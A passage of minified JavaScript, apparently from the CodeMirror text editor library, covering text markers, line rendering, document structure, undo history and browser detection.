n=i.text.charAt(h)||"\n",n=bb(n)?"w":!d?null:/\s/.test(n)?null:"p";if(l&&l!=n){0>c&&(c=1,f());break}n&&(l=n);if(0<c&&!f(!B))break}b=Eb(a,m(g,h),b,!0);j||(b.hitSide=!0);return b}function xd(a,b,c,d){var e=a.doc,f=b.left,g;"page"==d?(d=Math.min(a.display.wrapper.clientHeight, window.innerHeight||document.documentElement.clientHeight),g=b.top+c*(d-(0>c?1.5:0.5)*qa(a.display))):"line"==d&&(g=0<c?b.bottom+3:b.top-3);for(;;){var h=jc(a,f,g);if(!h.outside)break;if(0>c?0>=g:g>=e.height){h.hitSide=!0;break}g+=5*c}return h}function pc(a,b){var c=b.ch,d=b.ch;if(a){(0>b.xRel||d==a.length)&&c?--c:++d;for(var e=a.charAt(c),e=bb(e)?bb:/\s/.test(e)?function(a){return/\s/.test(a)}:function(a){return!/\s/.test(a)&&!bb(a)};0<c&&e(a.charAt(c-1));)--c;for(;d<a.length&&e(a.charAt(d));)++d}return{from:m(b.line, c),to:m(b.line,d)}}function le(a,b){H(a.doc,m(b,0),q(a.doc,m(b+1,0)))}function r(a,b,c,d){k.defaults[a]=b;c&&(na[a]=d?function(a,b,d){d!=Nc&&c(a,b,d)}:c)}function ua(a,b){if(!0===b)return b;if(a.copyState)return a.copyState(b);var c={},d;for(d in b){var e=b[d];e instanceof Array&&(e=e.concat([]));c[d]=e}return c}function Vc(a,b,c){return a.startState?a.startState(b,c):!0}function uc(a){return"string"==typeof a?Y[a]:a}function $a(a,b,c){function d(b){var b=uc(b),e=b[a];if(!1===e)return"stop";if(null!= e&&c(e))return!0;if(b.nofallthrough)return"stop";b=b.fallthrough;if(null==b)return!1;if("[object Array]"!=Object.prototype.toString.call(b))return d(b);for(var e=0,f=b.length;e<f;++e){var j=d(b[e]);if(j)return j}return!1}for(var e=0;e<b.length;++e){var f=d(b[e]);if(f)return"stop"!=f}}function kd(a){a=la[a.keyCode];return"Ctrl"==a||"Alt"==a||"Shift"==a||"Mod"==a}function ld(a,b){if(Q&&34==a.keyCode&&a["char"])return!1;var c=la[a.keyCode];if(null==c||a.altGraphKey)return!1;a.altKey&&(c="Alt-"+c);if(yd? a.metaKey:a.ctrlKey)c="Ctrl-"+c;if(yd?a.ctrlKey:a.metaKey)c="Cmd-"+c;!b&&a.shiftKey&&(c="Shift-"+c);return c}function cb(a,b){this.pos=this.start=0;this.string=a;this.tabSize=b||8;this.lastColumnPos=this.lastColumnValue=0}function fa(a,b){this.lines=[];this.type=b;this.doc=a}function db(a,b,c,d,e){if(d&&d.shared)return qe(a,b,c,d,e);if(a.cm&&!a.cm.curOp)return s(a.cm,db)(a,b,c,d,e);var f=new fa(a,e);if(y(c,b)||v(b,c)&&"range"==e&&(!d.inclusiveLeft||!d.inclusiveRight))return f;d&&Hb(d,f);f.replacedWith&& (f.collapsed=!0,f.replacedWith=o("span",[f.replacedWith],"CodeMirror-widget"),d.handleMouseEvents||(f.replacedWith.ignoreEvents=!0));f.collapsed&&(Na=!0);f.addToHistory&&pd(a,{from:b,to:c,origin:"markText"},{head:a.sel.head,anchor:a.sel.anchor},NaN);var g=b.line,h=0,i,j,l=a.cm,B;a.iter(g,c.line+1,function(d){l&&(f.collapsed&&!l.options.lineWrapping&&Z(a,d)==l.display.maxLine)&&(B=true);var e={from:null,to:null,marker:f};h=h+d.text.length;if(g==b.line){e.from=b.ch;h=h-b.ch}if(g==c.line){e.to=c.ch; h=h-(d.text.length-c.ch)}if(f.collapsed){g==c.line&&(j=sa(d,c.ch));g==b.line?i=sa(d,b.ch):P(d,0)}d.markedSpans=d.markedSpans?d.markedSpans.concat([e]):[e];e.marker.attachLine(d);++g});f.collapsed&&a.iter(b.line,c.line+1,function(b){ga(a,b)&&P(b,0)});f.clearOnEnter&&t(f,"beforeCursorEnter",function(){f.clear()});f.readOnly&&(od=!0,(a.history.done.length||a.history.undone.length)&&a.clearHistory());if(f.collapsed){if(i!=j)throw Error("Inserting collapsed marker overlapping an existing one");f.size= h;f.atomic=!0}l&&(B&&(l.curOp.updateMaxLine=!0),(f.className||f.title||f.startStyle||f.endStyle||f.collapsed)&&w(l,b.line,c.line+1),f.atomic&&ud(l));return f}function eb(a,b){this.markers=a;this.primary=b;for(var c=0,d=this;c<a.length;++c)a[c].parent=this,t(a[c],"clear",function(){d.clear()})}function qe(a,b,c,d,e){d=Hb(d);d.shared=!1;var f=[db(a,b,c,d,e)],g=f[0],h=d.replacedWith;Ca(a,function(a){h&&(d.replacedWith=h.cloneNode(!0));f.push(db(a,q(a,b),q(a,c),d,e));for(var j=0;j<a.linked.length;++j)if(a.linked[j].isParent)return; g=J(f)});return new eb(f,g)}function fb(a,b){if(a)for(var c=0;c<a.length;++c){var d=a[c];if(d.marker==b)return d}}function Ac(a,b){var c=Da(a,b.from.line)&&p(a,b.from.line).markedSpans,d=Da(a,b.to.line)&&p(a,b.to.line).markedSpans;if(!c&&!d)return null;var e=b.from.ch,f=b.to.ch,g=v(b.from,b.to);if(c)for(var h=0,i;h<c.length;++h){var j=c[h],l=j.marker;if(null==j.from||(l.inclusiveLeft?j.from<=e:j.from<e)||(l.inclusiveLeft&&l.inclusiveRight||"bookmark"==l.type)&&j.from==e&&(!g||!j.marker.insertLeft)){var B= null==j.to||(l.inclusiveRight?j.to>=e:j.to>e);(i||(i=[])).push({from:j.from,to:B?null:j.to,marker:l})}}c=i;if(d)for(var h=0,k;h<d.length;++h)if(i=d[h],j=i.marker,null==i.to||(j.inclusiveRight?i.to>=f:i.to>f)||"bookmark"==j.type&&i.from==f&&(!g||i.marker.insertLeft))l=null==i.from||(j.inclusiveLeft?i.from<=f:i.from<f),(k||(k=[])).push({from:l?null:i.from-f,to:null==i.to?null:i.to-f,marker:j});d=k;g=1==b.text.length;k=J(b.text).length+(g?e:0);if(c)for(f=0;f<c.length;++f)h=c[f],null==h.to&&((i=fb(d, h.marker))?g&&(h.to=null==i.to?null:i.to+k):h.to=e);if(d)for(f=0;f<d.length;++f)(h=d[f],null!=h.to&&(h.to+=k),null==h.from)?(i=fb(c,h.marker),i||(h.from=k,g&&(c||(c=[])).push(h))):(h.from+=k,g&&(c||(c=[])).push(h));if(g&&c){for(f=0;f<c.length;++f)null!=c[f].from&&(c[f].from==c[f].to&&"bookmark"!=c[f].marker.type)&&c.splice(f--,1);c.length||(c=null)}e=[c];if(!g){var g=b.text.length-2,m;if(0<g&&c)for(f=0;f<c.length;++f)null==c[f].to&&(m||(m=[])).push({from:null,to:null,marker:c[f].marker});for(f=0;f< g;++f)e.push(m);e.push(d)}return e}function sd(a,b){var c;if(c=b["spans_"+a.id]){for(var d=0,e=[];d<b.text.length;++d)e.push(re(c[d]));c=e}else c=null;d=Ac(a,b);if(!c)return d;if(!d)return c;for(e=0;e<c.length;++e){var f=c[e],g=d[e];if(f&&g){var h=0;a:for(;h<g.length;++h){for(var i=g[h],j=0;j<f.length;++j)if(f[j].marker==i.marker)continue a;f.push(i)}}else g&&(c[e]=g)}return c}function oe(a,b,c){var d=null;a.iter(b.line,c.line+1,function(a){if(a.markedSpans)for(var b=0;b<a.markedSpans.length;++b){var c= a.markedSpans[b].marker;if(c.readOnly&&(!d||-1==S(d,c)))(d||(d=[])).push(c)}});if(!d)return null;a=[{from:b,to:c}];for(b=0;b<d.length;++b)for(var c=d[b],e=c.find(),f=0;f<a.length;++f){var g=a[f];if(!y(g.to,e.from)&&!y(e.to,g.from)){var h=[f,1];(y(g.from,e.from)||!c.inclusiveLeft&&v(g.from,e.from))&&h.push({from:g.from,to:e.from});(y(e.to,g.to)||!c.inclusiveRight&&v(g.to,e.to))&&h.push({from:e.to,to:g.to});a.splice.apply(a,h);f+=h.length-1}}return a}function sa(a,b){var c=Na&&a.markedSpans,d;if(c)for(var e, f=0;f<c.length;++f)if(e=c[f],e.marker.collapsed&&(null==e.from||e.from<b)&&(null==e.to||e.to>b)&&(!d||d.width<e.marker.width))d=e.marker;return d}function nb(a){return sa(a,a.text.length+1)}function Z(a,b){for(var c;c=sa(b,-1);)b=p(a,c.find().from.line);return b}function ga(a,b){var c=Na&&b.markedSpans;if(c)for(var d,e=0;e<c.length;++e)if(d=c[e],d.marker.collapsed&&(null==d.from||!d.marker.replacedWith&&0==d.from&&d.marker.inclusiveLeft&&Gc(a,b,d)))return!0}function Gc(a,b,c){if(null==c.to)return b= c.marker.find().to,b=p(a,b.line),Gc(a,b,fb(b.markedSpans,c.marker));if(c.marker.inclusiveRight&&c.to==b.text.length)return!0;for(var d,e=0;e<b.markedSpans.length;++e)if(d=b.markedSpans[e],d.marker.collapsed&&!d.marker.replacedWith&&d.from==c.to&&(d.marker.inclusiveLeft||c.marker.inclusiveRight)&&Gc(a,b,d))return!0}function zd(a){var b=a.markedSpans;if(b){for(var c=0;c<b.length;++c)b[c].marker.detachLine(a);a.markedSpans=null}}function Ad(a,b){if(b){for(var c=0;c<b.length;++c)b[c].marker.attachLine(a); a.markedSpans=b}}function Bd(a){return function(){var b=!this.cm.curOp;b&&xa(this.cm);try{var c=a.apply(this,arguments)}finally{b&&ya(this.cm)}return c}}function rb(a){if(null!=a.height)return a.height;(!a.node.parentNode||1!=a.node.parentNode.nodeType)&&U(a.cm.display.measure,o("div",[a.node],null,"position: relative"));return a.height=a.node.offsetHeight}function se(a,b,c,d){var e=new Ib(a,c,d);e.noHScroll&&(a.display.alignWidgets=!0);Gb(a,b,function(b){var c=b.widgets||(b.widgets=[]);e.insertAt== null?c.push(e):c.splice(Math.min(c.length-1,Math.max(0,e.insertAt)),0,e);e.line=b;if(!ga(a.doc,b)||e.showIfHidden){c=Oa(a,b)<a.doc.scrollTop;P(b,b.height+rb(e));c&&Ec(a,0,e.height)}return true});return e}function Cd(a,b,c,d,e,f){var g=c.flattenSpans;null==g&&(g=a.options.flattenSpans);var h=0,i=null,j=new cb(b,a.options.tabSize),l;for(""==b&&c.blankLine&&c.blankLine(d);!j.eol();){j.pos>a.options.maxHighlightLength?(g=!1,f&&dc(a,b,d,j.pos),j.pos=b.length,l=null):l=c.token(j,d);if(!g||i!=l)h<j.start&& e(j.start,i),h=j.start,i=l;j.start=j.pos}for(;h<j.pos;)a=Math.min(j.pos,h+5E4),e(a,i),h=a}function Uc(a,b,c,d){var e=[a.state.modeGen];Cd(a,b.text,a.doc.mode,c,function(a,b){e.push(a,b)},d);for(c=0;c<a.state.overlays.length;++c){var f=a.state.overlays[c],g=1,h=0;Cd(a,b.text,f.mode,!0,function(a,b){for(var c=g;h<a;){var d=e[g];d>a&&e.splice(g,1,a,e[g+1],d);g=g+2;h=Math.min(a,d)}if(b)if(f.opaque){e.splice(c,g-c,a,b);g=c+2}else for(;c<g;c=c+2){d=e[c+1];e[c+1]=d?d+" "+b:b}})}return e}function Dd(a,b){if(!b.styles|| b.styles[0]!=a.state.modeGen)b.styles=Uc(a,b,b.stateAfter=Pa(a,K(b)));return b.styles}function dc(a,b,c,d){var e=a.doc.mode,f=new cb(b,a.options.tabSize);f.start=f.pos=d||0;for(""==b&&e.blankLine&&e.blankLine(c);!f.eol()&&f.pos<=a.options.maxHighlightLength;)e.token(f,c),f.start=f.pos}function Ed(a,b){if(!a)return null;for(;;){var c=a.match(/(?:^|\s)line-(background-)?(\S+)/);if(!c)break;var a=a.slice(0,c.index)+a.slice(c.index+c[0].length),d=c[1]?"bgClass":"textClass";null==b[d]?b[d]=c[2]:RegExp("(?:^|s)"+ c[2]+"(?:$|s)").test(b[d])||(b[d]+=" "+c[2])}return Fd[a]||(Fd[a]="cm-"+a.replace(/ +/g," cm-"))}function cc(a,b,c,d){for(var e,f=b,g=!0;e=sa(f,-1);)f=p(a.doc,e.find().from.line);d={pre:o("pre"),col:0,pos:0,measure:null,measuredSomething:!1,cm:a,copyWidgets:d};do{f.text&&(g=!1);d.measure=f==b&&c;d.pos=0;d.addToken=d.measure?te:Gd;if((D||G)&&a.getOption("lineWrapping"))d.addToken=ue(d.addToken);a:{e=d;var h=Dd(a,f),i=f.markedSpans,j=f.text,l=0;if(i)for(var k=j.length,n=0,m=1,q="",r=void 0,s=0,z=void 0, t=void 0,w=void 0,C=void 0,u=void 0;;){if(s==n){for(var z=t=w=C="",u=null,s=Infinity,v=[],y=0;y<i.length;++y){var x=i[y],A=x.marker;if(x.from<=n&&(null==x.to||x.to>n)){if(null!=x.to&&s>x.to&&(s=x.to,t=""),A.className&&(z+=" "+A.className),A.startStyle&&x.from==n&&(w+=" "+A.startStyle),A.endStyle&&x.to==s&&(t+=" "+A.endStyle),A.title&&!C&&(C=A.title),A.collapsed&&(!u||u.marker.size<A.size))u=x}else x.from>n&&s>x.from&&(s=x.from);"bookmark"==A.type&&(x.from==n&&A.replacedWith)&&v.push(A)}if(u&&(u.from|| 0)==n)if(Hd(e,(null==u.to?k:u.to)-n,u.marker,null==u.from),null==u.to){e=u.marker.find();break a}if(!u&&v.length)for(y=0;y<v.length;++y)Hd(e,0,v[y])}if(n>=k)break;for(v=Math.min(k,s);;){if(q){y=n+q.length;u||(x=y>v?q.slice(0,v-n):q,e.addToken(e,x,r?r+z:z,w,n+x.length==s?t:"",C));if(y>=v){q=q.slice(v-n);n=v;break}n=y;w=""}q=j.slice(l,l=h[m++]);r=Ed(h[m++],e)}}else for(var m=1;m<h.length;m+=2)e.addToken(e,j.slice(l,l=h[m]),Ed(h[m+1],e));e=void 0}c&&(f==b&&!d.measuredSomething)&&(c[0]=d.pre.appendChild(Ra(a.display.measure)), d.measuredSomething=!0);e&&(f=p(a.doc,e.to.line))}while(e);c&&(!d.measuredSomething&&!c[0])&&(c[0]=d.pre.appendChild(g?o("span"," "):Ra(a.display.measure)));!d.pre.firstChild&&!ga(a.doc,b)&&d.pre.appendChild(document.createTextNode(" "));var E;if(c&&(D||ve)&&(E=T(f)))if(g=E.length-1,E[g].from==E[g].to&&--g,f=E[g],E=E[g-1],f.from+1==f.to&&(E&&f.level<E.level)&&(c=c[d.pos-1]))c.parentNode.insertBefore(c.measureRight=Ra(a.display.measure),c.nextSibling);if(c=d.textClass?d.textClass+" "+(b.textClass|| ""):b.textClass)d.pre.className=c;F(a,"renderLine",a,b,d.pre);return d}function Gd(a,b,c,d,e,f){if(b){var g=a.cm.options.specialChars;if(g.test(b))for(var h=document.createDocumentFragment(),i=0;;){g.lastIndex=i;var j=g.exec(b),l=j?j.index-i:b.length-i;l&&(h.appendChild(document.createTextNode(b.slice(i,i+l))),a.col+=l);if(!j)break;i+=l+1;"\t"==j[0]?(j=a.cm.options.tabSize,j-=a.col%j,h.appendChild(o("span",vd(j),"cm-tab")),a.col+=j):(j=a.cm.options.specialCharPlaceholder(j[0]),h.appendChild(j),a.col+= 1)}else{a.col+=b.length;var h=document.createTextNode(b)}if(c||d||e||a.measure)return b=c||"",d&&(b+=d),e&&(b+=e),j=o("span",[h],b),f&&(j.title=f),a.pre.appendChild(j);a.pre.appendChild(h)}}function te(a,b,c,d,e){for(var f=a.cm.options.lineWrapping,g=0;g<b.length;++g){var h=b.charAt(g),i=0==g;"\ud800"<=h&&"\udbff">h&&g<b.length-1?(h=b.slice(g,g+2),++g):g&&(f&&gb(b,g))&&a.pre.appendChild(o("wbr"));var j=a.measure[a.pos],i=a.measure[a.pos]=Gd(a,h,c,i&&d,g==b.length-1&&e);j&&(i.leftSide=j.leftSide|| j);D&&(f&&" "==h&&g&&!/\s/.test(b.charAt(g-1))&&g<b.length-1&&!/\s/.test(b.charAt(g+1)))&&(i.style.whiteSpace="normal");a.pos+=h.length}b.length&&(a.measuredSomething=!0)}function ue(a){function b(a){for(var b=" ",e=0;e<a.length-2;++e)b+=e%2?" ":" ";return b+" "}return function(c,d,e,f,g,h){return a(c,d.replace(/ {3,}/g,b),e,f,g,h)}}function Hd(a,b,c,d){if(d=!d&&c.replacedWith)if(a.copyWidgets&&(d=d.cloneNode(!0)),a.pre.appendChild(d),a.measure){if(b)a.measure[a.pos]=d;else{var e=Ra(a.cm.display.measure); if("bookmark"==c.type&&!c.insertLeft)a.measure[a.pos]=a.pre.appendChild(e);else{if(a.measure[a.pos])return;a.measure[a.pos]=a.pre.insertBefore(e,d)}}a.measuredSomething=!0}a.pos+=b}function Dc(a,b,c,d,e){function f(a){return c?c[a]:null}function g(a,c,d){var f=e;a.text=c;a.stateAfter&&(a.stateAfter=null);a.styles&&(a.styles=null);null!=a.order&&(a.order=null);zd(a);Ad(a,d);c=f?f(a):1;c!=a.height&&P(a,c);E(a,"change",a,b)}var h=b.from,i=b.to,j=b.text,l=p(a,h.line),k=p(a,i.line),n=J(j),m=f(j.length- 1),q=i.line-h.line;if(0==h.ch&&0==i.ch&&""==n&&(!a.cm||a.cm.options.wholeLineUpdateBefore)){for(var o=0,s=j.length-1,r=[];o<s;++o)r.push(new ca(j[o],f(o),e));g(k,k.text,m);q&&a.remove(h.line,q);r.length&&a.insert(h.line,r)}else if(l==k)if(1==j.length)g(l,l.text.slice(0,h.ch)+n+l.text.slice(i.ch),m);else{r=[];o=1;for(s=j.length-1;o<s;++o)r.push(new ca(j[o],f(o),e));r.push(new ca(n+l.text.slice(i.ch),m,e));g(l,l.text.slice(0,h.ch)+j[0],f(0));a.insert(h.line+1,r)}else if(1==j.length)g(l,l.text.slice(0, h.ch)+j[0]+k.text.slice(i.ch),f(0)),a.remove(h.line+1,q);else{g(l,l.text.slice(0,h.ch)+j[0],f(0));g(k,n+k.text.slice(i.ch),m);o=1;s=j.length-1;for(r=[];o<s;++o)r.push(new ca(j[o],f(o),e));1<q&&a.remove(h.line+1,q-1);a.insert(h.line+1,r)}E(a,"change",a,b);ba(a,d.anchor,d.head,null,!0)}function Jb(a){this.lines=a;this.parent=null;for(var b=0,c=a.length,d=0;b<c;++b)a[b].parent=this,d+=a[b].height;this.height=d}function hb(a){this.children=a;for(var b=0,c=0,d=0,e=a.length;d<e;++d){var f=a[d],b=b+f.chunkSize(), c=c+f.height;f.parent=this}this.size=b;this.height=c;this.parent=null}function Ca(a,b,c){function d(a,f,g){if(a.linked)for(var h=0;h<a.linked.length;++h){var i=a.linked[h];if(i.doc!=f){var j=g&&i.sharedHist;if(!c||j)b(i.doc,j),d(i.doc,a,j)}}}d(a,null,!0)}function Mc(a,b){if(b.cm)throw Error("This document is already in use.");a.doc=b;b.cm=a;Vb(a);Ha(a);a.options.lineWrapping||Xb(a);a.options.mode=b.modeOption;w(a)}function p(a,b){for(b-=a.first;!a.lines;)for(var c=0;;++c){var d=a.children[c],e=d.chunkSize(); if(b<e){a=d;break}b-=e}return a.lines[b]}function Cc(a,b,c){var d=[],e=b.line;a.iter(b.line,c.line+1,function(a){a=a.text;e==c.line&&(a=a.slice(0,c.ch));e==b.line&&(a=a.slice(b.ch));d.push(a);++e});return d}function Hc(a,b,c){var d=[];a.iter(b,c,function(a){d.push(a.text)});return d}function P(a,b){for(var c=b-a.height,d=a;d;d=d.parent)d.height+=c}function K(a){if(null==a.parent)return null;for(var b=a.parent,a=S(b.lines,a),c=b.parent;c;b=c,c=c.parent)for(var d=0;c.children[d]!=b;++d)a+=c.children[d].chunkSize(); return a+b.first}function Ma(a,b){var c=a.first;a:do{for(var d=0,e=a.children.length;d<e;++d){var f=a.children[d],g=f.height;if(b<g){a=f;continue a}b-=g;c+=f.chunkSize()}return c}while(!a.lines);d=0;for(e=a.lines.length;d<e;++d){f=a.lines[d].height;if(b<f)break;b-=f}return c+d}function Oa(a,b){for(var b=Z(a.doc,b),c=0,d=b.parent,e=0;e<d.lines.length;++e){var f=d.lines[e];if(f==b)break;else c+=f.height}for(f=d.parent;f;d=f,f=d.parent)for(e=0;e<f.children.length;++e){var g=f.children[e];if(g==d)break; else c+=g.height}return c}function T(a){var b=a.order;null==b&&(b=a.order=we(a.text));return b}function Kb(a){return{done:[],undone:[],undoDepth:Infinity,lastTime:0,lastOp:null,lastOrigin:null,generation:a||1,maxGeneration:a||1}}function Id(a,b,c,d){var e=b["spans_"+a.id],f=0;a.iter(Math.max(a.first,c),Math.min(a.first+a.size,d),function(c){c.markedSpans&&((e||(e=b["spans_"+a.id]={}))[f]=c.markedSpans);++f})}function Bc(a,b){var c={from:{line:b.from.line,ch:b.from.ch},to:yc(b),text:Cc(a,b.from,b.to)}; Id(a,c,b.from.line,b.to.line+1);Ca(a,function(a){Id(a,c,b.from.line,b.to.line+1)},!0);return c}function pd(a,b,c,d){var e=a.history;e.undone.length=0;var f=+new Date,g=J(e.done);if(g&&(e.lastOp==d||e.lastOrigin==b.origin&&b.origin&&("+"==b.origin.charAt(0)&&a.cm&&e.lastTime>f-a.cm.options.historyEventDelay||"*"==b.origin.charAt(0)))){var h=J(g.changes);v(b.from,b.to)&&v(b.from,h.to)?h.to=yc(b):g.changes.push(Bc(a,b));g.anchorAfter=c.anchor;g.headAfter=c.head}else{g={changes:[Bc(a,b)],generation:e.generation, anchorBefore:a.sel.anchor,headBefore:a.sel.head,anchorAfter:c.anchor,headAfter:c.head};e.done.push(g);for(e.generation=++e.maxGeneration;e.done.length>e.undoDepth;)e.done.shift()}e.lastTime=f;e.lastOp=d;e.lastOrigin=b.origin}function re(a){if(!a)return null;for(var b=0,c;b<a.length;++b)a[b].marker.explicitlyCleared?c||(c=a.slice(0,b)):c&&c.push(a[b]);return!c?a:c.length?c:null}function Lb(a,b){for(var c=0,d=[];c<a.length;++c){var e=a[c],f=e.changes,g=[];d.push({changes:g,anchorBefore:e.anchorBefore, headBefore:e.headBefore,anchorAfter:e.anchorAfter,headAfter:e.headAfter});for(e=0;e<f.length;++e){var h=f[e],i;g.push({from:h.from,to:h.to,text:h.text});if(b)for(var j in h)if((i=j.match(/^spans_(\d+)$/))&&-1<S(b,Number(i[1])))J(g)[j]=h[j],delete h[j]}}return d}function Mb(a,b,c,d){c<a.line?a.line+=d:b<a.line&&(a.line=b,a.ch=0)}function Jd(a,b,c,d){for(var e=0;e<a.length;++e){for(var f=a[e],g=!0,h=0;h<f.changes.length;++h){var i=f.changes[h];f.copied||(i.from=ka(i.from),i.to=ka(i.to));if(c<i.from.line)i.from.line+= d,i.to.line+=d;else if(b<=i.to.line){g=!1;break}}f.copied||(f.anchorBefore=ka(f.anchorBefore),f.headBefore=ka(f.headBefore),f.anchorAfter=ka(f.anchorAfter),f.readAfter=ka(f.headAfter),f.copied=!0);g?(Mb(f.anchorBefore),Mb(f.headBefore),Mb(f.anchorAfter),Mb(f.headAfter)):(a.splice(0,e+1),e=0)}}function qd(a,b){var c=b.from.line,d=b.to.line,e=b.text.length-(d-c)-1;Jd(a.done,c,d,e);Jd(a.undone,c,d,e)}function xe(){Xa(this)}function Wa(a){a.stop||(a.stop=xe);return a}function A(a){a.preventDefault?a.preventDefault(): a.returnValue=!1}function Kd(a){a.stopPropagation?a.stopPropagation():a.cancelBubble=!0}function sc(a){return null!=a.defaultPrevented?a.defaultPrevented:!1==a.returnValue}function Xa(a){A(a);Kd(a)}function fd(a){var b=a.which;null==b&&(a.button&1?b=1:a.button&2?b=3:a.button&4&&(b=2));ta&&(a.ctrlKey&&1==b)&&(b=3);return b}function t(a,b,c){a.addEventListener?a.addEventListener(b,c,!1):a.attachEvent?a.attachEvent("on"+b,c):(a=a._handlers||(a._handlers={}),(a[b]||(a[b]=[])).push(c))}function aa(a,b, c){if(a.removeEventListener)a.removeEventListener(b,c,!1);else if(a.detachEvent)a.detachEvent("on"+b,c);else if(a=a._handlers&&a._handlers[b])for(b=0;b<a.length;++b)if(a[b]==c){a.splice(b,1);break}}function F(a,b){var c=a._handlers&&a._handlers[b];if(c)for(var d=Array.prototype.slice.call(arguments,2),e=0;e<c.length;++e)c[e].apply(null,d)}function E(a,b){function c(a){return function(){a.apply(null,e)}}var d=a._handlers&&a._handlers[b];if(d){var e=Array.prototype.slice.call(arguments,2);da||(++vb, da=[],setTimeout(ye,0));for(var f=0;f<d.length;++f)da.push(c(d[f]))}}function V(a,b,c){F(a,c||b.type,a,b);return sc(b)||b.codemirrorIgnore}function ye(){--vb;var a=da;da=null;for(var b=0;b<a.length;++b)a[b]()}function W(a,b){var c=a._handlers&&a._handlers[b];return c&&0<c.length}function Ea(a){a.prototype.on=function(a,c){t(this,a,c)};a.prototype.off=function(a,c){aa(this,a,c)}}function Rb(){this.id=null}function va(a,b,c,d,e){null==b&&(b=a.search(/[^\s\u00a0]/),-1==b&&(b=a.length));d=d||0;for(e= e||0;d<b;++d)"\t"==a.charAt(d)?e+=c-e%c:++e;return e}function vd(a){for(;Nb.length<=a;)Nb.push(J(Nb)+" ");return Nb[a]}function J(a){return a[a.length-1]}function ad(a){if(Ga)a.selectionStart=0,a.selectionEnd=a.value.length;else try{a.select()}catch(b){}}function S(a,b){if(a.indexOf)return a.indexOf(b);for(var c=0,d=a.length;c<d;++c)if(a[c]==b)return c;return-1}function Ld(a,b){function c(){}c.prototype=a;var d=new c;b&&Hb(b,d);return d}function Hb(a,b){b||(b={});for(var c in a)a.hasOwnProperty(c)&& (b[c]=a[c]);return b}function Xc(a){for(var b=[],c=0;c<a;++c)b.push(void 0);return b}function O(a){var b=Array.prototype.slice.call(arguments,1);return function(){return a.apply(null,b)}}function bb(a){return/\w/.test(a)||""<a&&(a.toUpperCase()!=a.toLowerCase()||ze.test(a))}function Md(a){for(var b in a)if(a.hasOwnProperty(b)&&a[b])return!1;return!0}function o(a,b,c,d){a=document.createElement(a);c&&(a.className=c);d&&(a.style.cssText=d);if("string"==typeof b)Sc(a,b);else if(b)for(c=0;c<b.length;++c)a.appendChild(b[c]); return a}function Ka(a){for(var b=a.childNodes.length;0<b;--b)a.removeChild(a.firstChild);return a}function U(a,b){return Ka(a).appendChild(b)}function Sc(a,b){L?(a.innerHTML="",a.appendChild(document.createTextNode(b))):a.textContent=b}function x(a){return a.getBoundingClientRect()}function gb(){return!1}function La(a){if(null!=Va)return Va;var b=o("div",null,null,"width: 50px; height: 50px; overflow-x: scroll");U(a,b);b.offsetWidth&&(Va=b.offsetHeight-b.clientHeight);return Va||0}function Ra(a){if(null== Ic){var b=o("span","");U(a,o("span",[b,document.createTextNode("x")]));0!=a.firstChild.offsetHeight&&(Ic=1>=b.offsetWidth&&2<b.offsetHeight&&!pa)}return Ic?o("span",""):o("span"," ",null,"display: inline-block; width: 1px; margin-right: -1px")}function $d(a,b,c,d){if(!a)return d(b,c,"ltr");for(var e=!1,f=0;f<a.length;++f){var g=a[f];if(g.from<c&&g.to>b||b==c&&g.to==b)d(Math.max(g.from,b),Math.min(g.to,c),1==g.level?"rtl":"ltr"),e=!0}e||d(b,c,"ltr")}function hc(a){return a.level%2?a.from:a.to}function tb(a){return(a= T(a))?a[0].level%2?a[0].to:a[0].from:0}function ub(a){var b=T(a);return!b?a.text.length:hc(J(b))}function Nd(a,b){var c=p(a.doc,b),d=Z(a.doc,c);d!=c&&(b=K(d));c=T(d);d=!c?0:c[0].level%2?ub(d):tb(d);return m(b,d)}function Ae(a,b){for(var c,d;c=nb(d=p(a.doc,b));)b=c.find().to.line;c=T(d);d=!c?d.text.length:c[0].level%2?tb(d):ub(d);return m(b,d)}function ic(a,b){for(var c=0,d;c<a.length;++c){var e=a[c];if(e.from<b&&e.to>b)return wa=null,c;if(e.from==b||e.to==b)if(null==d)d=c;else{var e=e.level,f=a[d].level, g=a[0].level,e=e==g?!0:f==g?!1:e<f;if(e)return wa=d,c;wa=c;return d}}wa=null;return d}function Jc(a,b,c,d){if(!d)return b+c;do b+=c;while(0<b&&lc.test(a.text.charAt(b)));return b}function kc(a,b,c,d){var e=T(a);if(!e)return wd(a,b,c,d);for(var f=ic(e,b),g=e[f],b=Jc(a,b,g.level%2?-c:c,d);;){if(b>g.from&&b<g.to)return b;if(b==g.from||b==g.to){if(ic(e,b)==f)return b;g=e[f+c];return 0<c==g.level%2?g.to:g.from}g=e[f+=c];if(!g)return null;b=0<c==g.level%2?Jc(a,g.to,-1,d):Jc(a,g.from,1,d)}}function wd(a, b,c,d){b+=c;if(d)for(;0<b&&lc.test(a.text.charAt(b));)b+=c;return 0>b||b>a.text.length?null:b}var Ba=/gecko\/\d/i.test(navigator.userAgent),D=/MSIE \d/.test(navigator.userAgent),pa=D&&(null==document.documentMode||8>document.documentMode),L=D&&(null==document.documentMode||9>document.documentMode),ve=/Trident\/([7-9]|\d{2,})\./.test(navigator.userAgent),G=/WebKit\//.test(navigator.userAgent),Be=G&&/Qt\/\d+\.\d+/.test(navigator.userAgent),Ce=/Chrome\//.test(navigator.userAgent),Q=/Opera\//.test(navigator.userAgent), rc=/Apple Computer/.test(navigator.vendor),Ub=/KHTML\//.test(navigator.userAgent),Rd=/Mac OS X 1\d\D([7-9]|\d\d)\D/.test(navigator.userAgent),Sd=/Mac OS X 1\d\D([8-9]|\d\d)\D/.test(navigator.userAgent),ge=/PhantomJS/.test(navigator.userAgent),Ga=/AppleWebKit/.test(navigator.userAgent)&&/Mobile\/\w+/.test(navigator.userAgent),Qb=Ga||/Android|webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(navigator.userAgent),ta=Ga||/Mac/.test(navigator.platform),De=/win/i.test(navigator.platform),ma=Q&&navigator.userAgent.match(/Version\/(\d*\.\d*)/); ma&&(ma=Number(ma[1]));ma&&15<=ma&&(Q=!1,G=!0);var yd=ta&&(Be||Q&&(null==ma||12.11>ma)),qc=Ba||D&&!L,od=!1,Na=!1,ha,fe=0,zb,yb,ed=0,Ab=0,R=null;D?R=-0.53:Ba?R=15:Ce?R=-0.7:rc&&(R=-1/3);var jd,vc=null,wc,yc=k.changeEnd=function(a){return!a.text?a.to:m(a.from.line+a.text.length-1,J(a.text).length+(a.text.length==1?a.from.ch:0))};k.Pos=m;k.prototype={constructor:k,focus:function(){window.focus();M(this);Ta(this)},setOption:function(a,b){var 